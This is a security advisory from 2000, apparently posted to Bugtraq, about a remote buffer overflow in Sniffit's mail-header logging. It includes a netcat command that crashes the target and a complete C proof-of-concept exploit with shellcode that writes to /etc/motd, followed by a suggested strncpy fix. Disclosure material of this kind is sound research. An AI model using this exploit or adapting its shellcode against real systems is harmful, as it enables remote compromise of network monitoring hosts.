[LWN Logo]

Date:         Tue, 2 May 2000 19:35:58 +0200
From: fusys@ITAPAC.NET
Subject:      spj-003-000 - S0ftPj Advisory
To: BUGTRAQ@SECURITYFOCUS.COM

SPJ-003-000:

                   .::::::::+[ s0ftpr0ject 99 ]+::::::::.
                   ::::+[ Digital Security for Y2K ]+::::
                   :::'"""`"'"""`"'"""`"'"""`"'"`"'""`:::
                   ::'.g#S$"$S#n. .g#S$"$S#n.     S#n.`::
                   :: $$$$$ $$$$$ $$$$$ $$$$$     $$$$ ::
                   :: $$$$$       $$$$$ $$$$$     $$$$ ::
                   :: `$$$$$$$$$n $$$$$ $$$$$     $$$$ ::
                   ::       $$$$$ $$$$$s$$$$'     $$$$ ::
                   :: $$$$$ $$$$$ $$$$$     $$$$$ $$$$ ::
                   :: `$$$$s$$$S' `$$$$     `$$$$s$$S' ::
                   :::...........:.....:::::..........:::
                   :::+[ Security Advisory, 003-000 ]+:::
                   `::::::::+[  Apr 30, 2000 ]+:::::::::'


	       Remotely Exploitable Buffer Overflow in Sniffit

                         by FuSyS <fusys@s0ftpj.org>


---[ Systems affected ]-------------------------------------------------------

Possibly all systems running Sniffit (0.3.7beta and all versions logging mail
headers). Successfull attacks depend on being able to craft shellcodes so
they can bypass input filter.

---[ Condition of discovery ]-------------------------------------------------

Credits for pointing me to the bug goes to |CyRaX|, of Packets Knights Crew
(http://www.programmazione.it/knights, #sikurezza@Undernet) and to all those
stealth people who saw this and didn't speak.

---[ Impact ]-----------------------------------------------------------------

Though 0.3.7 is still in beta state, there seems to be a lot of admins which
rely on Sniffit for dumping and controlling network flows in their LANs.
But the problem described here only applies to a particular configuration
option which is probably not very utilised, since it interferes with users
privacy (yeah, right). Sure it is common in hackers conventions and UNIX user
groups' parties, but that's another story =)

There appear to be the same problem though, in 0.3.6HIP. This could well go
back till 0.3.2 with the introduction of logfiles and log params, supposedly.

We decided not to undergo the usual path with the creator as since 0.3.[2-4]
the error probably has been known for a while now, and the code we're
supplying is not dangerous as the shellcode simply puts a polite string in
/etc/motd (if present): "fusys was here".

Note to script kids: simply pasting a more complex and aggressive shellcode
will do no good, since it should be modified to bypass Sniffit lower case
filter.

---[ Detailed description ]---------------------------------------------------

This is a very simple stack based buffer overflow. Usual stuff, static buffers
and user input don't go merrily along together. The problem is evident only
when loggin mail headers via the -L flag. [Please refer to the Sniffit URL
pointed in the Contacts section]

The smash occurs when the logging flag -L contains the directive 'mail'.
Sniffit will then look for every packet that contains two strings:
"mail from:" and "rcpt to:" to log e-mail headers. Obviously the admin has
to activate Sniffit so it can dump packets going to port 25.

The relevant code is in sn_analyse.c where we can see that pointers containing
the mentioned strings are copied to static buffers using the strcpy function.
The exploit is really straightforward as it's possible to go on till the eip
to change the return address. Just a small problem is the fact that Sniffit
filters user input by applying checks contained in the strlower function.
This uses a simple isupper?tolower mechanism which does not protect against
opcodes injecting. So, by slightly modifying publicy available shellcodes, an
attacker with even modest assembly programming knowledge can craft a working
code to exploit this vulnerability.
Here is the relevant part in sn_analyse.c:

    if(strstr(workbuf1,"mail from")!=NULL)
      {
      char workbuf2[MTU];

      strcpy(workbuf2, strstr(workbuf1,"mail from"));

and

    if(strstr(workbuf1,"rcpt to")!=NULL)
      {
      char workbuf2[MTU];

      strcpy(workbuf2, strstr(workbuf1,"rcpt to"));

So it'simply a matter of connecting to port 25 of the sniffing box (or any
other host in the LAN which Sniffit controls, as per admin configuration)
and write at least 211 characters as email address in the "mail from:" cmd.

To test if you're vulnerable simply do (if you have, and should, netcat) :

     echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25

while using gdb to control the runtime of Sniffit. As upper case letters are
filtered out you should be able to see something like this:

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i all
     eax:        0x0           0
     ecx:  0x8057648   134575688
     edx:  0x8057648   134575688
     ebx: 0xbfff5b84 -1073783932
     esp: 0xbfff47a4 -1073789020
     ebp: 0x61616161  1633771873
     esi: 0xbfff6f0c -1073778932
     edi: 0xbfff6f0c -1073778932
     eip: 0x61616161  1633771873

(...skipped...)

as 0x41('A') is filtered to 0x61('a') all upper case letters will follow
the same destiny, so the attacker must craft an all lower case shellcode
with mixed sequence of non printable chars and other common witchcraft
paraphernalia :)

Here is a simple code (as proof of concept) to exploit the vulnerability
on RedHat Linux x86 systems [note though that other distros ARE also
vulnerable via other shellcodes {for RET morphing}]:

/*
 * Sniffit 0.3.7beta Linux/x86 Remote Exploit
 * ShellCode is a modified version of w00w00 write egg,
 * to pass Sniffit input filter
 *
 * Tested on 	RedHat 5.2, 6.0, 6.2
 * Proof Of Concept Code
 *
 * credits:	|CyraX| for pointing me to the coredump
 *		del0 for hurrying me :)
 *		vecna for offering me drinks ;P
 *		belf for loving and caring his GSM ;P
 *
 *     			    	     FuSyS [S0ftpj|BFi]
 * 				 http://www.s0ftpj.org/
 */

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define LENGTH		600
#define RET		RH6x
#define RH52		0xbfff5c10
#define RH6x		0xbfff5bb5 	// 0.3.6HIP 0xbfffcc50
#define OFFSET          0
#define ALIGNOP		3		// 3 RH6.0, 4 RH6.2
					// may vary [1-5]


/* Note To Script Kiddies: This ShellCode Simply Changes An
   Existing /etc/motd So Don't Bother DownLoading */

unsigned char shellcode[]=
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
"\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4"
"\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31"
"\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
"\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77"
"\x61\x73\x20\x68\x65\x72\x65\x0a";

unsigned long nameResolve(char *hostname)
{
  struct in_addr addr;
  struct hostent *hostEnt;

  if((addr.s_addr=inet_addr(hostname)) == -1) {
    if(!(hostEnt=gethostbyname(hostname))) {
        printf("Name Resolution Error:`%s`\n",hostname);
        exit(0);
    }
    bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  }
  return addr.s_addr;
}

int main(int argc,char **argv)
{
        char buff[LENGTH+ALIGNOP+1];
	char cmd[610];
        long addr;
        unsigned long sp;
        int offset=OFFSET;
        int i, x;
        int sock;
        struct sockaddr_in sin;

	if(argc<2) {
		fprintf(stderr, "Usage: %s <sniffit host>\n", argv[0]);
		exit(0);
	}

        sp=(unsigned long) RET;
        addr=sp-offset;

	for(i=0;i<120-ALIGNOP;i++)
		buff[i]=0x90;
	for(x=0; x<strlen(shellcode); i++, x++)
		buff[i]=shellcode[x];
	for(i-=1 ; i<LENGTH; i+=4) {
		buff[i  ] =  addr & 0x000000ff;
  		buff[i+1] = (addr & 0x0000ff00) >> 8;
  		buff[i+2] = (addr & 0x00ff0000) >> 16;
  		buff[i+3] = (addr & 0xff000000) >> 24;
 	}

	printf("\nSniffit <=0.3.7beta Linux/x86 Remote Exploit\n");
	printf("by FuSyS [S0ftpj|BFi] - http://www.s0ftpj.org\n\n");

        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(25);
        sin.sin_addr.s_addr=nameResolve(argv[1]);

	printf("Connecting to %s ...\n", argv[1]);

        if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
        {
                printf("Can't create socket\n");
                exit(0);
        }
        if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
        {
                printf("Can't connect to Sniffit Server\n");
                exit(0);
        }

	printf("Injecting ShellCode ...\n");

	strncat(cmd, "mail from:", 10);
	strncat(cmd, buff, strlen(buff));
	write(sock, cmd, strlen(cmd));

	printf("Done!\n\n");

        return(0);
}

---[Possible fixes ]----------------------------------------------------------

The first obvious solution to this simple problem is to use a fixed-size
buffer to store e-mail addresses, instead of relaying on user input. In the
file sn_analyse.c , rows 163 and 175, we can change strcpy to strncpy,
choosing an arbitrary size for delimiting the input. Sure, this is not an
elegant solution, since we can't know the real length of the peer address,
but it's better than having our IDS|Sniffing box compromised.

---[ URLs and references ]----------------------------------------------------

The Sniffit HomePage URL is: http://sniffit.rug.ac.be/sniffit/sniffit.html

---[ Contact informations ]---------------------------------------------------

s0ftpr0ject 2k - Digital security for Y2K (s0ftpj)
no-profit security research

Internet site: http://www.s0ftpj.org
E-mail       : staff@s0ftpj.org

All advisories and security documents are available via http at:

http://www.s0ftpj.org (195.32.69.44) courtesy of Metro Olografix
http://www.olografix.org (195.32.69.44)

This document has no copyright, feel free to distribute it without any
limitation. Original copy of this document can be found at our Internet site
for free.

---[ s0ftpr0ject staff Public PGP Key ]------------------------------------

Type Bits/KeyID    Date       User ID
pub  2600/15A01BB9 1999/07/22 S0ftPj Staff <staff@s0ftpj.org>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQFSAzeXNL8AAAEKKNzvok6FkB24mQUEx5Q4SZ97dQlmx3yNeEvG7aJ/0TDKWWUv
f6a+t1jF8V7JMhV1JxU/z38MgTYRGt6dspWlTLKb543GxBRqOdMohigBu8rUmDEb
UlD9gAav5M+OSY6oNh5a7e/YrPLhOiqxNxBIXQCDgKtIUv9NF8KbcbS96EAmNsuH
UA/hJ2Arlx2wSkmJZgvcpiM6O/1g1OYgg7Gur39SqsNZn0RUKxi463qASGfJT4sa
rpH6clBsVpNei5bf/4Bke5/8dnJL5DzM0twxTUmvdq1Pt1+6sRCd70IsqXPvjZu2
Drx4rzlLItD84xmE9w/vGdLMtPSTPwX7ak2TvhWqBOkqzWJNiRjzi+T6HiNfuqUr
sr90FndiRNJcWCbmPs2TJISLePsi9AVGL5KFfmimdSJPagzWG1FVQhyo2HS4nRWg
G7kABRG0H1MwZnRQaiBTdGFmZiA8c3RhZmZAczBmdHBqLm9yZz6JAVoDBRA3lzS/
2HS4nRWgG7kBAaYiCiQPM05Pr5FkSgjHkVUbgyxwuWkp9MDOxhvFAgcsHJUX2h6V
F02vzDMR2BOvaRhkm43IwXxK490Tp86pbbhC28SiF3TEyHjmu8tMrXo/cX69fcqy
IbvVgHKEIUYR8Sik7mLX9HqUh9qh7e6o4cH5TsCCJxIoqf2Qt4t5HA4m77H1niNP
EqY2HGzvQUPfvTf+KffdLGoAa/NSKJyB8stlWIJ4SAe7EkGscSjcDFvrm25pDT33
JHyBHBdmUY0Kr+gzmg9CuUZUhVtdun0mwZJLicOSUFQeYuPsid+ayggdgfGR7spM
NymPkS2MF8jGOKCa9EqWbn5gBP0uZm5aMrg6+O+s+xNonK0BcFH7iIUAsL9qUHLD
4edFudwxa6XW7LuJoqDVlUzhqA3Ru5Yd8eTD7vbcjR3fRngDpLDu8UhC0MFQSoDW
IWKJ
=i4i0
-----END PGP PUBLIC KEY BLOCK-----